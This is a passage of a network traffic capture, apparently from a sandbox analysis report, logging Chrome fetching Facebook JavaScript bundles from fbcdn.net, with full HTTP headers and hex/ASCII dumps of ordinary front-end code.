Spark on this browser?","NOVI":"Allow the use of cookies from Novi on this browser?","OCULUS":"Allow the use of cookies from Ocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49913	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:29 UTC	610	OUT	GET /rsrc.php/v3ii184/ys/l/en_US/erqik_ar1cv.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:30 UTC	1678	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 3yWBGHHSFkI9/QKi4z7WjA== Expires: Fri, 11 Apr 2025 19:12:05 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: rbzyVExSpagW1YgpZD9SSfVoHF3wc9UTl/L0JdLGukpA4ns+8B4qQSraNl1xXQ489fNiPlnmVfppiiRGlWq/8w== Date: Thu, 11 Apr 2024 20:35:30 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=3, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 1099769
2024-04-11 20:35:30 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:30 UTC	16126	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 43 6f 6d 65 74 53 74 79 6c 65 58 44 61 72 6b 54 68 65 6d 65 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 65 2e 65 78 70 6f 72 74 73 3d 7b 22 66 64 73 2d 62 6c 61 63 6b 22 3a 22 62 6c 61 63 6b 22 2c 22 66 64 73 2d 62 6c 61 63 6b 2d 61 6c 70 68 61 2d 30 35 22 3a 22 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 35 29 22 2c 22 66 64 73 2d 62 6c 61 63 6b 2d 61 6c 70 68 61 2d 31 30 22 3a 22 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 29 22 2c 22 66 64 73 2d 62 6c 61 63 6b 2d 61 6c 70 68 61 2d 31 35 22 3a 22 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 35 29 22 2c 22 66 64 73 2d 62 6c 61 63 6b 2d 61 6c 70 68 61 2d 32 30 22 3a 22 72 67 62 Data Ascii: /FB_PKG_DELIM/__d("CometStyleXDarkTheme",[],(function(a,b,c,d,e,f){e.exports={"fds-black":"black","fds-black-alpha-05":"rgba(0, 0, 0, 0.05)","fds-black-alpha-10":"rgba(0, 0, 0, 0.1)","fds-black-alpha-15":"rgba(0, 0, 0, 0.15)","fds-black-alpha-20":"rgb
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 65 2d 68 65 69 67 68 74 22 3a 22 31 2e 32 39 34 31 22 2c 22 6d 65 74 61 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 22 3a 22 50 6c 61 63 65 68 6f 6c 64 65 72 20 46 6f 6e 74 22 2c 22 6d 65 74 61 2d 66 6f 6e 74 2d 73 69 7a 65 22 3a 22 30 2e 38 31 32 35 72 65 6d 22 2c 22 6d 65 74 61 2d 66 6f 6e 74 2d 77 65 69 67 68 74 22 3a 22 34 30 30 22 2c 22 6d 65 74 61 2d 6c 69 6e 65 2d 68 65 69 67 68 74 22 3a 22 31 2e 33 38 34 36 22 2c 22 6d 65 74 61 2d 65 6d 70 68 61 73 69 7a 65 64 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 22 3a 22 50 6c 61 63 65 68 6f 6c 64 65 72 20 46 6f 6e 74 22 2c 22 6d 65 74 61 2d 65 6d 70 68 61 73 69 7a 65 64 2d 66 6f 6e 74 2d 73 69 7a 65 22 3a 22 30 2e 38 31 32 35 72 65 6d 22 2c 22 6d 65 74 61 2d 65 6d 70 68 61 73 69 7a 65 64 2d 66 6f 6e 74 2d 77 65 69 67 68 Data Ascii: e-height":"1.2941","meta-font-family":"Placeholder Font","meta-font-size":"0.8125rem","meta-font-weight":"400","meta-line-height":"1.3846","meta-emphasized-font-family":"Placeholder Font","meta-emphasized-font-size":"0.8125rem","meta-emphasized-font-weigh
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 74 61 6c 22 3a 22 38 70 78 22 2c 22 73 65 63 74 69 6f 6e 2d 68 65 61 64 65 72 2d 61 64 64 4f 6e 53 74 61 72 74 2d 6d 61 72 67 69 6e 2d 68 6f 72 69 7a 6f 6e 74 61 6c 22 3a 22 31 32 70 78 22 2c 22 73 65 63 74 69 6f 6e 2d 68 65 61 64 65 72 2d 61 64 64 4f 6e 45 6e 64 2d 62 75 74 74 6f 6e 2d 70 61 64 64 69 6e 67 2d 68 6f 72 69 7a 6f 6e 74 61 6c 22 3a 22 30 70 78 22 2c 22 73 65 63 74 69 6f 6e 2d 68 65 61 64 65 72 2d 61 64 64 4f 6e 45 6e 64 2d 62 75 74 74 6f 6e 2d 70 61 64 64 69 6e 67 2d 76 65 72 74 69 63 61 6c 22 3a 22 30 70 78 22 2c 22 73 65 63 74 69 6f 6e 2d 68 65 61 64 65 72 2d 70 61 64 64 69 6e 67 2d 76 65 72 74 69 63 61 6c 22 3a 22 31 36 70 78 22 2c 22 73 65 63 74 69 6f 6e 2d 68 65 61 64 65 72 2d 73 75 62 74 69 74 6c 65 2d 6d 61 72 67 69 6e 2d 76 65 72 74 Data Ascii: tal":"8px","section-header-addOnStart-margin-horizontal":"12px","section-header-addOnEnd-button-padding-horizontal":"0px","section-header-addOnEnd-button-padding-vertical":"0px","section-header-padding-vertical":"16px","section-header-subtitle-margin-vert
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 69 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 73 47 65 6e 65 72 69 63 50 72 6f 74 6f 63 6f 6c 7d 3b 62 2e 69 73 53 61 6d 65 4f 72 69 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 63 28 22 69 73 53 61 6d 65 4f 72 69 67 69 6e 22 29 28 74 68 69 73 2c 61 29 7d 3b 62 2e 69 73 53 75 62 64 6f 6d 61 69 6e 4f 66 44 6f 6d 61 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 61 2e 67 65 74 55 72 69 28 62 29 3b 72 65 74 75 72 6e 20 63 21 3d 6e 75 6c 6c 26 26 76 28 74 68 69 73 2e 64 6f 6d 61 69 6e 2c 62 29 7d 3b 62 2e 69 73 53 65 63 75 72 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 50 72 6f 74 6f 63 6f 6c 28 29 3d 3d 3d 22 68 74 74 70 73 22 7d 3b 62 2e 72 65 Data Ascii: ic=function(){return this.isGenericProtocol};b.isSameOrigin=function(a){return c("isSameOrigin")(this,a)};b.isSubdomainOfDomain=function(b){var c=a.getUri(b);return c!=null&&v(this.domain,b)};b.isSecure=function(){return this.getProtocol()==="https"};b.re
2024-04-11 20:35:30 UTC	1500	IN	Data Raw: 65 77 20 4d 61 70 28 29 7d 2c 67 65 74 43 75 73 74 6f 6d 4b 65 79 43 6f 6d 62 69 6e 61 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 7d 2c 67 65 74 4d 6f 64 69 66 69 65 64 4b 65 79 62 6f 61 72 64 53 68 6f 72 74 63 75 74 73 50 72 65 66 65 72 65 6e 63 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 34 7d 2c 69 73 56 69 65 77 65 72 53 68 6f 77 69 6e 67 3a 21 31 2c 72 65 73 65 74 41 6c 6c 43 75 73 74 6f 6d 43 6f 6d 6d 61 6e 64 73 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 7d 2c 72 65 73 65 74 43 75 73 74 6f 6d 43 6f 6d 6d 61 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 7d 2c 73 65 74 41 72 65 53 69 6e 67 6c 65 4b 65 79 73 44 69 73 61 62 6c 65 64 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 7d 2c 73 65 74 4d 6f 64 69 66 69 65 64 4b 65 79 62 6f 61 72 Data Ascii: ew Map()},getCustomKeyCombination:function(a){},getModifiedKeyboardShortcutsPreference:function(a){return 4},isViewerShowing:!1,resetAllCustomCommands:function(a){},resetCustomCommand:function(a){},setAreSingleKeysDisabled:function(a){},setModifiedKeyboar
2024-04-11 20:35:30 UTC	14884	IN	Data Raw: 6f 6d 6d 61 6e 64 3d 3d 3d 21 30 29 26 26 61 2e 73 68 69 66 74 3d 3d 3d 21 30 3d 3d 3d 28 62 2e 73 68 69 66 74 3d 3d 3d 21 30 29 7d 66 5b 22 64 65 66 61 75 6c 74 22 5d 3d 61 7d 29 2c 36 36 29 3b 0a 5f 5f 64 28 22 63 72 65 61 74 65 4b 65 79 43 6f 6d 6d 61 6e 64 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 67 3d 5b 22 61 6c 74 22 2c 22 63 6f 6d 6d 61 6e 64 22 2c 22 73 68 69 66 74 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 72 65 74 75 72 6e 20 67 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 28 61 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 61 5b 62 5d 29 3d 3d 3d 21 30 7d 29 2e 63 6f 6e 63 61 74 28 61 3d 3d 6e 75 6c 6c 3f 76 6f 69 Data Ascii: ommand===!0)&&a.shift===!0===(b.shift===!0)}f["default"]=a}),66);__d("createKeyCommand",[],(function(a,b,c,d,e,f){"use strict";var g=["alt","command","shift"];function a(a){return g.filter(function(b){return(a==null?void 0:a[b])===!0}).concat(a==null?voi
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 74 22 3b 61 3d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 7b 41 52 45 41 5f 4e 41 56 3a 22 66 36 22 2c 43 4f 4d 4d 41 3a 22 2c 22 2c 44 45 4c 3a 22 64 65 6c 65 74 65 22 2c 44 45 4c 45 54 45 3a 22 62 61 63 6b 73 70 61 63 65 22 2c 44 4f 54 3a 22 2e 22 2c 44 4f 57 4e 3a 22 61 72 72 6f 77 64 6f 77 6e 22 2c 45 4e 44 3a 22 65 6e 64 22 2c 45 4e 54 45 52 3a 22 65 6e 74 65 72 22 2c 45 51 55 41 4c 3a 22 3d 22 2c 45 53 43 41 50 45 3a 22 65 73 63 61 70 65 22 2c 48 4f 4d 45 3a 22 68 6f 6d 65 22 2c 4c 45 46 54 3a 64 28 22 4c 6f 63 61 6c 65 22 29 2e 69 73 52 54 4c 28 29 3f 22 61 72 72 6f 77 72 69 67 68 74 22 3a 22 61 72 72 6f 77 6c 65 66 74 22 2c 4c 45 46 54 5f 53 51 55 41 52 45 5f 42 52 41 43 4b 45 54 3a 22 5b 22 2c 4d 49 4e 55 53 3a 22 2d 22 2c 4e 45 58 54 3a 64 28 22 Data Ascii: t";a=Object.freeze({AREA_NAV:"f6",COMMA:",",DEL:"delete",DELETE:"backspace",DOT:".",DOWN:"arrowdown",END:"end",ENTER:"enter",EQUAL:"=",ESCAPE:"escape",HOME:"home",LEFT:d("Locale").isRTL()?"arrowright":"arrowleft",LEFT_SQUARE_BRACKET:"[",MINUS:"-",NEXT:d("
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 67 3d 6e 65 77 20 4d 61 70 28 29 3b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 76 61 72 20 62 3d 22 62 6f 74 74 6f 6d 3a 22 2b 61 2e 62 6f 74 74 6f 6d 2b 22 7c 74 6f 70 3a 22 2b 61 2e 74 6f 70 2b 22 7c 6c 65 66 74 3a 22 2b 61 2e 6c 65 66 74 2b 22 7c 72 69 67 68 74 3a 22 2b 61 2e 72 69 67 68 74 2c 63 3d 67 2e 67 65 74 28 62 29 3b 63 3d 3d 6e 75 6c 6c 26 26 28 63 3d 7b 62 6f 74 74 6f 6d 3a 61 2e 62 6f 74 74 6f 6d 2a 2d 31 2c 6c 65 66 74 3a 61 2e 6c 65 66 74 2a 2d 31 2c 72 69 67 68 74 3a 61 2e 72 69 67 68 74 2a 2d 31 2c 74 6f 70 3a 61 2e 74 6f 70 2a 2d 31 7d 2c 67 2e 73 65 74 28 62 2c 63 29 29 3b 72 65 74 75 72 6e 20 63 7d 66 5b 22 64 Data Ascii: ],(function(a,b,c,d,e,f){"use strict";var g=new Map();function a(a){var b="bottom:"+a.bottom+"\|top:"+a.top+"\|left:"+a.left+"\|right:"+a.right,c=g.get(b);c==null&&(c={bottom:a.bottom-1,left:a.left-1,right:a.right-1,top:a.top-1},g.set(b,c));return c}f["d
2024-04-11 20:35:30 UTC	1500	IN	Data Raw: 66 2e 69 64 2b 22 5d 22 3b 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 61 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 42 61 73 65 42 75 74 74 6f 6e 50 6f 70 6f 76 65 72 43 6f 6e 74 65 78 74 22 2c 5b 22 72 65 61 63 74 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 3b 61 3d 68 7c 7c 64 28 22 72 65 61 63 74 22 29 3b 62 3d 6e 75 6c 6c 3b 63 3d 61 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 62 29 3b 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 63 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 52 65 61 63 74 45 76 65 6e 74 48 6f 6f 6b 50 72 6f 70 61 67 61 74 69 6f 6e 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 Data Ascii: f.id+"]";g["default"]=a}),98);__d("BaseButtonPopoverContext",["react"],(function(a,b,c,d,e,f,g){"use strict";var h;a=h\|\|d("react");b=null;c=a.createContext(b);g["default"]=c}),98);__d("ReactEventHookPropagation",[],(function(a,b,c,d,e,f){"use strict";fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49914	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:29 UTC	610	OUT	GET /rsrc.php/v3idBq4/yr/l/en_US/EGYttlRo0gL.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:30 UTC	1676	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: EmRZzJ0zPB3FO8VHtKpqZQ== Expires: Tue, 08 Apr 2025 23:41:43 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: 0IMbvXmaLTBmPge8lFE4mG28nx29oTTcjDRYD1JGtUeDh1+uZfrIXE91zsFHSgktSESfee+AxMbA6DU8buj9Nw== Date: Thu, 11 Apr 2024 20:35:30 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 70964
2024-04-11 20:35:30 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:30 UTC	16129	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 47 72 6f 75 70 73 43 6f 6d 65 74 41 6e 73 77 65 72 41 67 65 6e 74 45 64 75 63 61 74 69 6f 6e 4d 6f 64 61 6c 51 75 65 72 79 5f 66 61 63 65 62 6f 6f 6b 52 65 6c 61 79 4f 70 65 72 61 74 69 6f 6e 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 65 2e 65 78 70 6f 72 74 73 3d 22 37 33 30 37 36 31 33 30 36 39 33 35 36 37 30 37 22 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 47 72 6f 75 70 73 43 6f 6d 65 74 41 6e 73 77 65 72 41 67 65 6e 74 45 64 75 63 61 74 69 6f 6e 4d 6f 64 61 6c 51 75 65 72 79 24 50 61 72 61 6d 65 74 65 72 73 22 2c 5b 22 47 72 6f 75 70 73 43 6f 6d 65 74 41 6e 73 77 65 72 41 67 65 6e 74 45 64 75 63 61 74 69 6f 6e 4d 6f 64 61 6c 51 75 65 72 79 Data Ascii: /FB_PKG_DELIM/__d("GroupsCometAnswerAgentEducationModalQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="7307613069356707"}),null);__d("GroupsCometAnswerAgentEducationModalQuery$Parameters",["GroupsCometAnswerAgentEducationModalQuery
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 64 65 66 61 75 6c 74 22 3f 22 73 65 63 6f 6e 64 61 72 79 22 3a 22 77 68 69 74 65 22 2c 69 63 6f 6e 3a 64 28 22 66 62 69 63 6f 6e 22 29 2e 5f 28 69 28 22 34 37 38 32 33 32 22 29 2c 31 36 29 2c 6f 6e 50 72 65 73 73 3a 71 2c 73 69 7a 65 3a 31 36 7d 29 7d 29 5d 7d 29 7d 29 2c 67 3d 3d 6e 75 6c 6c 7c 7c 7a 21 3d 3d 21 30 3f 6e 75 6c 6c 3a 6b 2e 6a 73 78 28 63 28 22 43 6f 6d 65 74 43 6f 6c 75 6d 6e 49 74 65 6d 2e 72 65 61 63 74 22 29 2c 7b 70 61 64 64 69 6e 67 54 6f 70 3a 31 32 2c 63 68 69 6c 64 72 65 6e 3a 6b 2e 6a 73 78 28 63 28 22 42 61 73 65 52 6f 77 2e 72 65 61 63 74 22 29 2c 7b 63 68 69 6c 64 72 65 6e 3a 6b 2e 6a 73 78 28 63 28 22 42 61 73 65 52 6f 77 49 74 65 6d 2e 72 65 61 63 74 22 29 2c 7b 65 78 70 61 6e 64 69 6e 67 3a 21 30 2c 76 65 72 74 69 63 61 6c Data Ascii: default"?"secondary":"white",icon:d("fbicon")._(i("478232"),16),onPress:q,size:16})})]})}),g==null\|\|z!==!0?null:k.jsx(c("CometColumnItem.react"),{paddingTop:12,children:k.jsx(c("BaseRow.react"),{children:k.jsx(c("BaseRowItem.react"),{expanding:!0,vertical
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 43 6f 6e 74 65 78 74 3d 57 3b 67 2e 49 73 45 78 74 65 72 6e 61 6c 4d 65 64 69 61 43 6f 6e 74 65 78 74 3d 58 3b 67 2e 56 69 64 65 6f 50 6c 61 79 65 72 43 61 70 74 69 6f 6e 73 52 65 73 65 72 76 61 74 69 6f 6e 41 63 74 69 6f 6e 73 43 6f 6e 74 65 78 74 3d 59 3b 67 2e 56 69 64 65 6f 50 6c 61 79 65 72 43 61 70 74 69 6f 6e 73 52 65 73 65 72 76 61 74 69 6f 6e 73 43 6f 6e 74 65 78 74 3d 5a 3b 67 2e 53 74 72 65 61 6d 49 6e 74 65 72 72 75 70 74 65 64 43 6f 6e 74 65 78 74 3d 24 3b 67 2e 57 61 74 63 68 54 69 6d 65 43 6f 6e 74 65 78 74 3d 61 61 3b 67 2e 4c 61 73 74 50 6c 61 79 65 64 54 69 6d 65 43 6f 6e 74 65 78 74 3d 62 61 3b 67 2e 53 65 65 6b 61 62 6c 65 52 61 6e 67 65 73 43 6f 6e 74 65 78 74 3d 63 61 3b 67 2e 49 73 4c 69 76 65 52 65 77 69 6e 64 41 63 74 69 76 65 43 Data Ascii: Context=W;g.IsExternalMediaContext=X;g.VideoPlayerCaptionsReservationActionsContext=Y;g.VideoPlayerCaptionsReservationsContext=Z;g.StreamInterruptedContext=$;g.WatchTimeContext=aa;g.LastPlayedTimeContext=ba;g.SeekableRangesContext=ca;g.IsLiveRewindActiveC
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 65 22 29 28 63 28 22 76 69 64 65 6f 50 6c 61 79 65 72 55 6e 69 71 75 65 49 44 22 29 29 3b 64 28 22 63 72 65 61 74 65 56 69 64 65 6f 53 74 61 74 65 48 6f 6f 6b 22 29 2e 75 73 65 43 6c 65 61 6e 75 70 56 69 64 65 6f 53 74 61 74 65 48 6f 6f 6b 73 5f 49 4e 54 45 52 4e 41 4c 28 74 29 3b 76 61 72 20 75 3d 6b 28 30 29 2c 76 3d 63 28 22 75 73 65 43 72 65 61 74 65 56 69 64 65 6f 50 6c 61 79 65 72 50 61 73 73 69 76 65 56 69 65 77 61 62 69 6c 69 74 79 49 6e 66 6f 22 29 28 29 2c 77 3d 76 2e 73 65 74 56 69 64 65 6f 50 6c 61 79 65 72 50 61 73 73 69 76 65 56 69 65 77 61 62 69 6c 69 74 79 49 6e 66 6f 3b 76 3d 76 2e 76 69 64 65 6f 50 6c 61 79 65 72 50 61 73 73 69 76 65 56 69 65 77 61 62 69 6c 69 74 79 49 6e 66 6f 3b 76 61 72 20 78 3d 6f 28 61 2e 73 75 62 4f 72 69 67 69 6e Data Ascii: e")(c("videoPlayerUniqueID"));d("createVideoStateHook").useCleanupVideoStateHooks_INTERNAL(t);var u=k(0),v=c("useCreateVideoPlayerPassiveViewabilityInfo")(),w=v.setVideoPlayerPassiveViewabilityInfo;v=v.videoPlayerPassiveViewabilityInfo;var x=o(a.subOrigin
2024-04-11 20:35:30 UTC	1500	IN	Data Raw: 74 22 2c 22 47 6c 6f 62 61 6c 56 69 64 65 6f 50 6f 72 74 73 52 65 6e 64 65 72 65 72 73 2e 72 65 61 63 74 22 2c 22 52 65 61 63 74 44 4f 4d 43 6f 6d 65 74 22 2c 22 65 71 75 61 6c 73 53 65 74 22 2c 22 72 65 61 63 74 22 2c 22 75 73 65 55 6e 73 61 66 65 52 65 66 5f 44 45 50 52 45 43 41 54 45 44 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 2c 69 2c 6a 3d 69 7c 7c 28 69 3d 64 28 22 72 65 61 63 74 22 29 29 3b 62 3d 69 3b 76 61 72 20 6b 3d 62 2e 75 73 65 45 66 66 65 63 74 2c 6c 3d 62 2e 75 73 65 52 65 66 2c 6d 3d 62 2e 75 73 65 53 74 61 74 65 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 61 2c 62 2c 64 2c 65 2c 66 29 7b 76 61 72 20 67 3d 6c 28 6e 75 6c 6c 29 3b 6b 28 66 75 6e 63 74 Data Ascii: t","GlobalVideoPortsRenderers.react","ReactDOMComet","equalsSet","react","useUnsafeRef_DEPRECATED"],(function(a,b,c,d,e,f,g){"use strict";var h,i,j=i\|\|(i=d("react"));b=i;var k=b.useEffect,l=b.useRef,m=b.useState;function n(a,b,d,e,f){var g=l(null);k(funct
2024-04-11 20:35:30 UTC	4182	IN	Data Raw: 61 6c 56 69 64 65 6f 50 6f 72 74 73 50 6c 61 79 65 72 52 65 6e 64 65 72 65 72 2c 7b 63 6f 72 65 56 69 64 65 6f 50 6c 61 79 65 72 4d 65 74 61 44 61 74 61 3a 65 2e 63 6f 72 65 56 69 64 65 6f 50 6c 61 79 65 72 4d 65 74 61 44 61 74 61 2c 63 75 72 72 65 6e 74 50 6c 61 63 65 49 44 3a 65 2e 70 6f 72 74 61 62 6c 65 50 6c 61 63 65 49 44 2c 63 75 72 72 65 6e 74 56 69 64 65 6f 49 44 3a 66 2c 66 75 6c 6c 73 63 72 65 65 6e 43 6f 6e 74 72 6f 6c 6c 65 72 3a 65 2e 66 75 6c 6c 73 63 72 65 65 6e 43 6f 6e 74 72 6f 6c 6c 65 72 2c 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 73 3a 65 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 73 2c 69 73 46 75 6c 6c 73 63 72 65 65 6e 3a 65 2e 69 73 46 75 6c 6c 73 63 72 65 65 6e 2c 6f 6e 43 6f 72 65 56 69 64 65 6f 53 74 61 74 65 73 43 68 61 6e Data Ascii: alVideoPortsPlayerRenderer,{coreVideoPlayerMetaData:e.coreVideoPlayerMetaData,currentPlaceID:e.portablePlaceID,currentVideoID:f,fullscreenController:e.fullscreenController,implementations:e.implementations,isFullscreen:e.isFullscreen,onCoreVideoStatesChan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49917	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:30 UTC	742	OUT	GET /rsrc.php/v3iXxa4/yL/l/en_US/lNsPUo86OiUCMqDMXvq_vpAInncWS5tj5ToJwfvmrzOfGKV2bs_YuvDfGpEmKki_lhM7LsjDmcKgyjNFe6HRv38lumnsSmapohVdoBwRAC4TfczbpC364rkDJy8BWFb8n6g1fWxL1rr0Obq.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br 